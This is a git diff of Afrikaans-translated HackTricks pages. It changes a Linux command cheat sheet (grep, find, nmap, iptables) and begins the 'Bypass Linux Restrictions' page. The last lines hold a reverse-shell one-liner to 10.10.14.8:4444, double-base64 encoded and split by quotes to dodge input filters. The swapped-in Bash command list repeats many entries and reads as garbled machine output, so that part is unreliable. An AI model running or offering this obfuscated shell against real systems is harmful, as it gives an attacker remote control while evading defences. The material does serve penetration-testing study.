<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -169,132 +170,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
Grep is a powerful command-line tool used for searching and filtering text. It allows you to search for specific patterns or strings within files or output. Here are some useful grep commands:
|
||||
|
||||
### Basic Grep
|
||||
|
||||
The basic syntax for using grep is as follows:
|
||||
|
||||
```bash
|
||||
grep [options] pattern [file...]
|
||||
```
|
||||
|
||||
- `pattern` is the string or regular expression you want to search for.
|
||||
- `file` is the file or files you want to search within. If no file is specified, grep will search from standard input.
|
||||
|
||||
### Searching for a Pattern in a File
|
||||
|
||||
To search for a pattern in a specific file, use the following command:
|
||||
|
||||
```bash
|
||||
grep pattern file
|
||||
```
|
||||
|
||||
For example, to search for the word "password" in the file `example.txt`, you would use:
|
||||
|
||||
```bash
|
||||
grep password example.txt
|
||||
```
|
||||
|
||||
### Searching for a Pattern in Multiple Files
|
||||
|
||||
To search for a pattern in multiple files, use the following command:
|
||||
|
||||
```bash
|
||||
grep pattern file1 file2 file3
|
||||
```
|
||||
|
||||
For example, to search for the word "password" in the files `file1.txt`, `file2.txt`, and `file3.txt`, you would use:
|
||||
|
||||
```bash
|
||||
grep password file1.txt file2.txt file3.txt
|
||||
```
|
||||
|
||||
### Searching for a Pattern in a Directory
|
||||
|
||||
To search for a pattern in all files within a directory, use the following command:
|
||||
|
||||
```bash
|
||||
grep pattern directory/*
|
||||
```
|
||||
|
||||
For example, to search for the word "password" in all files within the `documents` directory, you would use:
|
||||
|
||||
```bash
|
||||
grep password documents/*
|
||||
```
|
||||
|
||||
### Ignoring Case Sensitivity
|
||||
|
||||
By default, grep is case-sensitive. To ignore case sensitivity and search for a pattern regardless of case, use the `-i` option:
|
||||
|
||||
```bash
|
||||
grep -i pattern file
|
||||
```
|
||||
|
||||
For example, to search for the word "password" in the file `example.txt` without considering case sensitivity, you would use:
|
||||
|
||||
```bash
|
||||
grep -i password example.txt
|
||||
```
|
||||
|
||||
### Displaying Line Numbers
|
||||
|
||||
To display line numbers along with the matching lines, use the `-n` option:
|
||||
|
||||
```bash
|
||||
grep -n pattern file
|
||||
```
|
||||
|
||||
For example, to search for the word "password" in the file `example.txt` and display the line numbers, you would use:
|
||||
|
||||
```bash
|
||||
grep -n password example.txt
|
||||
```
|
||||
|
||||
### Searching Recursively
|
||||
|
||||
To search for a pattern recursively in all files within a directory and its subdirectories, use the `-r` option:
|
||||
|
||||
```bash
|
||||
grep -r pattern directory
|
||||
```
|
||||
|
||||
For example, to search for the word "password" recursively in all files within the `documents` directory, you would use:
|
||||
|
||||
```bash
|
||||
grep -r password documents
|
||||
```
|
||||
|
||||
### Inverting the Match
|
||||
|
||||
To invert the match and display lines that do not contain the pattern, use the `-v` option:
|
||||
|
||||
```bash
|
||||
grep -v pattern file
|
||||
```
|
||||
|
||||
For example, to search for lines in the file `example.txt` that do not contain the word "password", you would use:
|
||||
|
||||
```bash
|
||||
grep -v password example.txt
|
||||
```
|
||||
|
||||
### Using Regular Expressions
|
||||
|
||||
Grep supports the use of regular expressions for more advanced pattern matching. To use regular expressions, use the `-E` option:
|
||||
|
||||
```bash
|
||||
grep -E "regex" file
|
||||
```
|
||||
|
||||
For example, to search for lines in the file `example.txt` that start with "password" followed by any three characters, you would use:
|
||||
|
||||
```bash
|
||||
grep -E "^password..." example.txt
|
||||
```
|
||||
|
||||
These are just a few examples of how grep can be used. It is a versatile tool that can be combined with other commands to perform complex text searches and manipulations.
|
||||
Greps is 'n kragtige opdraggereelhulpprogram wat gebruik word vir die soektog na spesifieke patrone binne teks. Dit kan gebruik word vir soektogte binne lêers en selfs vir die soektog na spesifieke patrone binne 'n stroom van data wat deur 'n ander opdraggereelprogram gegenereer word.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -375,82 +251,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
|||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Vind
|
||||
|
||||
The `find` command is used to search for files and directories in a specified location. It can be used with various options to filter the search results based on different criteria.
|
||||
|
||||
### Syntax:
|
||||
|
||||
```
|
||||
find [path] [expression]
|
||||
```
|
||||
|
||||
### Voorbeelde:
|
||||
|
||||
1. Vind alle bestande in die huidige gids:
|
||||
|
||||
```
|
||||
find .
|
||||
```
|
||||
|
||||
2. Vind alle bestande met 'txt' in die naam:
|
||||
|
||||
```
|
||||
find . -name "*txt*"
|
||||
```
|
||||
|
||||
3. Vind alle leë gids in die huidige gids:
|
||||
|
||||
```
|
||||
find . -type d -empty
|
||||
```
|
||||
|
||||
4. Vind alle bestande wat groter is as 1 MB:
|
||||
|
||||
```
|
||||
find . -size +1M
|
||||
```
|
||||
|
||||
5. Vind alle bestande wat in die afgelope 7 dae gewysig is:
|
||||
|
||||
```
|
||||
find . -mtime -7
|
||||
```
|
||||
|
||||
6. Vind alle bestande wat eienaarskap is deur 'gebruiker':
|
||||
|
||||
```
|
||||
find . -user gebruiker
|
||||
```
|
||||
|
||||
7. Vind alle bestande wat uitvoerbaar is:
|
||||
|
||||
```
|
||||
find . -type f -executable
|
||||
```
|
||||
|
||||
8. Vind alle bestande wat deur 'groep' besit word:
|
||||
|
||||
```
|
||||
find . -group groep
|
||||
```
|
||||
|
||||
9. Vind alle bestande wat nie deur 'gebruiker' besit word nie:
|
||||
|
||||
```
|
||||
find . ! -user gebruiker
|
||||
```
|
||||
|
||||
10. Vind alle bestande wat die afgelope 30 minute gewysig is:
|
||||
|
||||
```
|
||||
find . -mmin -30
|
||||
```
|
||||
|
||||
### Opmerkings:
|
||||
|
||||
- Die `path`-argument spesifiseer die beginpunt van die soektog. As dit nie opgegee word nie, sal die huidige gids gebruik word.
|
||||
- Die `expression`-argument bevat die verskillende opsies en voorwaardes wat gebruik word om die soektog te verfyn.
|
||||
- Die `find`-opdrag kan baie kragtig wees, so wees versigtig wanneer jy dit gebruik.
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
@ -480,90 +280,6 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
|
|||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap soekhulp
|
||||
|
||||
Nmap is 'n kragtige en veelsydige netwerk skandering hulpmiddel wat gebruik kan word om netwerktoestelle te ontdek en hul veiligheid te ondersoek. Hier is 'n paar nuttige opdragte en voorbeelde om jou te help om Nmap effektief te gebruik:
|
||||
|
||||
### Basiese skandering
|
||||
|
||||
Om 'n basiese skandering uit te voer, gebruik die volgende opdrag:
|
||||
|
||||
```
|
||||
nmap <target>
|
||||
```
|
||||
|
||||
Vervang `<target>` met die IP-adres of die domeinnaam van die teikenstelsel.
|
||||
|
||||
### Spesifieke poorte skandering
|
||||
|
||||
As jy spesifieke poorte wil skandeer, gebruik die `-p` vlag gevolg deur die poortnommers. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap -p 80,443 <target>
|
||||
```
|
||||
|
||||
Hierdie opdrag sal slegs poorte 80 en 443 op die teikenstelsel skandeer.
|
||||
|
||||
### Volledige skandering
|
||||
|
||||
Om 'n volledige skandering uit te voer, gebruik die `-p-` vlag. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap -p- <target>
|
||||
```
|
||||
|
||||
Hierdie opdrag sal alle poorte op die teikenstelsel skandeer.
|
||||
|
||||
### Skandering van spesifieke protokolle
|
||||
|
||||
As jy slegs spesifieke protokolle wil skandeer, gebruik die `--top-ports` vlag gevolg deur die aantal poorte wat jy wil skandeer. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap --top-ports 10 <target>
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die top 10 poorte op die teikenstelsel skandeer.
|
||||
|
||||
### Aggressiewe skandering
|
||||
|
||||
Om 'n aggressiewe skandering uit te voer, gebruik die `-A` vlag. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap -A <target>
|
||||
```
|
||||
|
||||
Hierdie opdrag sal verskillende inligting oor die teikenstelsel versamel, soos bedryfstelsel, dienste, en versie-inligting.
|
||||
|
||||
### Stil skandering
|
||||
|
||||
As jy 'n stil skandering wil uitvoer, gebruik die `-sS` vlag. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap -sS <target>
|
||||
```
|
||||
|
||||
Hierdie opdrag sal probeer om die skandering so stil as moontlik uit te voer.
|
||||
|
||||
### Skandering van subnetwerk
|
||||
|
||||
Om 'n subnetwerk te skandeer, gebruik die `/` gevolg deur die subnetmasker. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap <subnet>/<subnetmasker>
|
||||
```
|
||||
|
||||
Vervang `<subnet>` met die subnetwerkadres en `<subnetmasker>` met die subnetmasker.
|
||||
|
||||
### Uitvoer na 'n lêer
|
||||
|
||||
Om die uitvoer na 'n lêer te stuur, gebruik die `>` gevolg deur die lêernaam. Byvoorbeeld:
|
||||
|
||||
```
|
||||
nmap <target> > uitvoer.txt
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die uitvoer van die skandering stuur na 'n lêer genaamd "uitvoer.txt".
|
||||
|
||||
Dit is slegs 'n paar voorbeelde van hoe jy Nmap kan gebruik. Daar is baie meer funksies en opsies beskikbaar. Vir meer inligting, gebruik die `nmap --help` opdrag of besoek die [Nmap-dokumentasie](https://nmap.org/docs.html).
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
|
@ -572,60 +288,130 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
Bash is die standaard skulpry in die meeste Linux-stelsels en is 'n kragtige en veelsydige skulpry wat gebruik kan word vir verskeie take. Hier is 'n paar nuttige opdragte en tegnieke wat jy kan gebruik om jou Linux-stelsel te hardloop en te beveilig:
|
||||
### Nuttige Linux-opdragte
|
||||
|
||||
### Opdragte
|
||||
Hierdie dokument bevat 'n lys van nuttige Linux-opdragte wat kan help met die harding van 'n Linux-stelsel. Die opdragte sluit in:
|
||||
|
||||
- `ls`: Lys die inhoud van 'n gids.
|
||||
- `cd`: Verander die huidige gids.
|
||||
- `pwd`: Druk die pad van die huidige gids af.
|
||||
- `mkdir`: Skep 'n nuwe gids.
|
||||
- `rm`: Verwyder 'n lêer of gids.
|
||||
- `cp`: Kopieer 'n lêer of gids.
|
||||
- `mv`: Verskuif of hernoem 'n lêer of gids.
|
||||
- `cat`: Druk die inhoud van 'n lêer af.
|
||||
- `grep`: Soek na 'n patroon in 'n lêer.
|
||||
- `chmod`: Verander die toestemmings van 'n lêer of gids.
|
||||
- `chown`: Verander die eienaar van 'n lêer of gids.
|
||||
- `ps`: Lys aktiewe prosesse.
|
||||
- `kill`: Beëindig 'n proses.
|
||||
- `top`: Wys 'n lys van aktiewe prosesse en hul gebruik van hulpbronne.
|
||||
- `df`: Wys inligting oor die beskikbare diskruimte.
|
||||
- `du`: Wys die grootte van 'n lêer of gids.
|
||||
- `history`: Wys die geskiedenis van uitgevoerde opdragte.
|
||||
|
||||
### Tegnieke
|
||||
|
||||
- **Pyp**: Gebruik die `|`-teken om die uitset van die een opdrag as die inset van 'n ander opdrag te gebruik. Byvoorbeeld: `ls -l | grep .txt` sal alle lêers met die `.txt`-uitbreiding in die huidige gids wys.
|
||||
- **Redirigeer**: Gebruik die `>`-teken om die uitset van 'n opdrag na 'n lêer te stuur. Byvoorbeeld: `ls > lêers.txt` sal die inhoud van die huidige gids na 'n lêer met die naam `lêers.txt` skryf.
|
||||
- **Agtergrond**: Voeg die `&`-teken by die einde van 'n opdrag om dit in die agtergrond uit te voer. Byvoorbeeld: `ping google.com &` sal die `ping`-opdrag in die agtergrond uitvoer en jou die beheer oor die skulpry teruggee.
|
||||
- **Vars**: Gebruik die `$`-teken om die waarde van 'n veranderlike op te roep. Byvoorbeeld: `echo $HOME` sal die pad van jou tuisgids afdruk.
|
||||
- **Lusse**: Gebruik die `for`- of `while`-opdragte om herhalende take uit te voer. Byvoorbeeld: `for i in {1..5}; do echo $i; done` sal die getalle 1 tot 5 afdruk.
|
||||
|
||||
Met hierdie opdragte en tegnieke kan jy jou Linux-stelsel effektief bestuur en beveilig.
|
||||
- `ls` - Lys die inhoud van 'n gids
|
||||
- `ps` - Vertoon aktiewe prosesse
|
||||
- `netstat` - Vertoon netwerkverbindings, routingtabelle, netwerkinterfaces en statistieke
|
||||
- `ss` - Vertoon netwerkverbindings
|
||||
- `top` - Vertoon aktiewe prosesse
|
||||
- `htop` - Verbeterde weergawe van `top`
|
||||
- `ifconfig` - Vertoon netwerkinterfaces
|
||||
- `ip` - Vertoon en konfigureer netwerkinterfaces
|
||||
- `w` - Vertoon ingeteken gebruikers en hul aktiwiteite
|
||||
- `who` - Vertoon ingeteken gebruikers
|
||||
- `last` - Vertoon 'n geskiedenis van ingeteken gebruikers
|
||||
- `chkconfig` - Beheer dienste
|
||||
- `systemctl` - Beheer systemd-diens
|
||||
- `journalctl` - Vertoon journale
|
||||
- `firewall-cmd` - Beheer die firewalld-diens
|
||||
- `sestatus` - Kontroleer SELinux-status
|
||||
- `getenforce` - Kontroleer SELinux-afdwingingsstatus
|
||||
- `setenforce` - Stel SELinux-afdwinging in
|
||||
- `chcon` - Verander SELinux-etikette
|
||||
- `getsebool` - Kontroleer SELinux-booleaanse waardes
|
||||
- `setsebool` - Stel SELinux-booleaanse waardes in
|
||||
- `auditctl` - Kontroleer die status van die Linux-audit-stelsel
|
||||
- `ausearch` - Soek in die Linux-audit-log
|
||||
- `journalctl` - Vertoon journale
|
||||
- `sshd` - SSH-diens
|
||||
- `sudo` - Voer opdragte uit as 'n ander gebruiker
|
||||
- `su` - Skakel tussen gebruikersrekeninge
|
||||
- `passwd` - Verander gebruikerswagwoorde
|
||||
- `chmod` - Verander lees-, skryf- en uitvoerregte van lêers en gids
|
||||
- `chown` - Verander eienaar van lêers en gids
|
||||
- `useradd` - Voeg 'n nuwe gebruiker by
|
||||
- `usermod` - Verander gebruikersinstellings
|
||||
- `userdel` - Verwyder 'n gebruiker
|
||||
- `groupadd` - Voeg 'n nuwe groep by
|
||||
- `groupmod` - Verander groepinstellings
|
||||
- `groupdel` - Verwyder 'n groep
|
||||
- `passwd` - Verander gebruikerswagwoorde
|
||||
- `chage` - Verander gebruikerswagwoordvervaldatum
|
||||
- `crontab` - Beheer cron-take
|
||||
- `at` - Skeduleer eenmalige take
|
||||
- `yum` - Beheer pakkette met yum
|
||||
- `rpm` - Beheer pakkette met rpm
|
||||
- `tar` - Hanteer `tar`-lêers
|
||||
- `gzip` - Kompresseer en dekompresseer lêers met gzip
|
||||
- `find` - Soek na lêers en gids
|
||||
- `grep` - Soek deur teks
|
||||
- `awk` - Proses tekslêers
|
||||
- `sed` - Redigeer teks
|
||||
- `sort` - Sorteer reëls in 'n lêer
|
||||
- `uniq` - Filter duplikaat reëls
|
||||
- `wc` - Tel woorde, reëls en karakters in 'n lêer
|
||||
- `curl` - Haal data van 'n URL af
|
||||
- `wget` - Haal lêers van die internet af
|
||||
- `ssh` - Skakel na 'n ander bediener oor 'n veilige SSH-verbinding
|
||||
- `scp` - Kopieer lêers oor 'n veilige SSH-verbinding
|
||||
- `rsync` - Sinchroniseer lêers tussen stelsels
|
||||
- `tar` - Skep 'n nuwe `tar`-lêer of onttrek dit
|
||||
- `zip` - Kompresseer lêers in 'n zip-lêer
|
||||
- `unzip` - Onttrek lêers uit 'n zip-lêer
|
||||
- `df` - Vertoon skryf- en leesruimte op stoorgeriewe
|
||||
- `du` - Vertoon die grootte van lêers en gids
|
||||
- `mount` - Koppel lêersisteem
|
||||
- `umount` - Ontkoppel lêersisteem
|
||||
- `fdisk` - Beheer stoorgeriewe
|
||||
- `lsblk` - Vertoon inligting oor bloktoestelle
|
||||
- `lsof` - Vertoon watter prosesse lêers gebruik
|
||||
- `lspci` - Vertoon PCI-toestel inligting
|
||||
- `lsusb` - Vertoon USB-toestel inligting
|
||||
- `uname` - Vertoon stelselinligting
|
||||
- `dmesg` - Vertoon kernalboodskappe
|
||||
- `uptime` - Vertoon stelselopsetyd
|
||||
- `free` - Vertoon geheuegebruik
|
||||
- `vmstat` - Vertoon virtuele geheue-inligting
|
||||
- `iostat` - Vertoon CPU- en I/O-inligting
|
||||
- `sar` - Versamel en vertoon stelselaktiwiteit
|
||||
- `ps` - Vertoon aktiewe prosesse
|
||||
- `kill` - Stuur 'n sein na prosesse
|
||||
- `nice` - Stel die prioriteit van 'n proses in
|
||||
- `renice` - Verander die prioriteit van 'n aktiewe proses
|
||||
- `top` - Vertoon aktiewe prosesse
|
||||
- `htop` - Verbeterde weergawe van `top`
|
||||
- `iotop` - Vertoon I/O-inligting
|
||||
- `ss` - Vertoon netwerkverbindings
|
||||
- `netstat` - Vertoon netwerkverbindings, routingtabelle, netwerkinterfaces en statistieke
|
||||
- `ip` - Vertoon en konfigureer netwerkinterfaces
|
||||
- `ifconfig` - Vertoon netwerkinterfaces
|
||||
- `ping` - Toets netwerkverbinding
|
||||
- `traceroute` - Toets roete na 'n bediener
|
||||
- `dig` - Toets DNS-navrae
|
||||
- `host` - Toets DNS-navrae
|
||||
- `whois` - Soek na inligting oor 'n domein
|
||||
- `sshd` - SSH-diens
|
||||
- `telnet` - Skakel na 'n bediener oor 'n Telnet-verbinding
|
||||
- `ftp` - Skakel na 'n bediener oor 'n FTP-verbinding
|
||||
- `curl` - Haal data van 'n URL af
|
||||
- `wget` - Haal lêers van die internet af
|
||||
- `scp` - Kopieer lêers oor 'n veilige SSH-verbinding
|
||||
- `rsync` - Sinchroniseer lêers tussen stelsels
|
||||
- `iptables` - Beheer IP-tabelle en firewall-instellings
|
||||
- `firewalld` - Beheer die firewalld-diens
|
||||
- `sestatus` - Kontroleer SELinux-status
|
||||
- `getenforce` - Kontroleer SELinux-afdwingingsstatus
|
||||
- `setenforce` - Stel SELinux-afdwinging in
|
||||
- `chcon` - Verander SELinux-etikette
|
||||
- `getsebool` - Kontroleer SELinux-booleaanse waardes
|
||||
- `setsebool` - Stel SELinux-booleaanse waardes in
|
||||
- `auditctl` - Kontroleer die status van die Linux-audit-stelsel
|
||||
- `ausearch` - Soek in die Linux-audit-log
|
||||
- `journalctl` - Vertoon journale
|
||||
- `systemctl` - Beheer systemd-diens
|
||||
- `chkconfig` - Beheer dienste
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables is 'n kragtige hulpmiddel wat gebruik word vir die konfigurasie van die firewall in Linux-stelsels. Dit stel gebruikers in staat om verkeer te beheer deur middel van verskillende reëls en beleide. Hier is 'n paar nuttige opdragte wat met iptables gebruik kan word:
|
||||
### Oorsig
|
||||
|
||||
### Opdragte
|
||||
|
||||
- `iptables -L`: Gee 'n lys van alle huidige iptables-reëls.
|
||||
- `iptables -F`: Vee alle huidige iptables-reëls skoon.
|
||||
- `iptables -A <chain> -p <protocol> --dport <port> -j <action>`: Voeg 'n nuwe reël by die gespesifiseerde ketting. Die `<chain>` parameter verwys na die ketting waarin die reël geplaas moet word, `<protocol>` verwys na die protokol van die verkeer (byvoorbeeld tcp of udp), `<port>` verwys na die poortnommer en `<action>` verwys na die aksie wat geneem moet word (byvoorbeeld ACCEPT, DROP of REJECT).
|
||||
- `iptables -D <chain> <rule_number>`: Verwyder die gespesifiseerde reël uit die ketting.
|
||||
- `iptables -P <chain> <policy>`: Stel die verstekbeleid in vir die gespesifiseerde ketting. Die `<policy>` parameter kan ingestel word as ACCEPT, DROP of REJECT.
|
||||
|
||||
### Voorbeelde
|
||||
|
||||
- `iptables -A INPUT -p tcp --dport 22 -j ACCEPT`: Voeg 'n reël by die INPUT-ketting om inkomende TCP-verkeer op poort 22 toe te laat.
|
||||
- `iptables -A INPUT -p tcp --dport 80 -j DROP`: Voeg 'n reël by die INPUT-ketting om inkomende TCP-verkeer op poort 80 te blokkeer.
|
||||
- `iptables -A OUTPUT -p udp --dport 53 -j ACCEPT`: Voeg 'n reël by die OUTPUT-ketting om uitgaande UDP-verkeer op poort 53 toe te laat.
|
||||
|
||||
Dit is slegs 'n paar voorbeelde van die gebruik van iptables. Daar is baie meer funksies en opsies beskikbaar wat dit 'n kragtige instrument maak vir die beheer van verkeer in Linux-stelsels.
|
||||
Iptables is 'n kragtige firewall wat ingebou is in Linux-stelsels. Dit stel gebruikers in staat om netwerkverkeer te bestuur deur toegangsbeheerlys te skep en te bestuur. Dit kan gebruik word om verkeer te blokkeer, te laat deurgaan of te herlei op 'n Linux-bedienersisteem.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -658,22 +444,22 @@ iptables -P OUTPUT ACCEPT
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslag.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloeie** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,46 +1,36 @@
|
|||
# Omseil Linux Beperkings
|
||||
# Bypass Linux Beperkings
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Algemene Beperkings Omseilings
|
||||
## Algemene Beperkingsontduiking
|
||||
|
||||
### Omgekeerde Skulp
|
||||
### Omgekeerde Skulpdoel
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
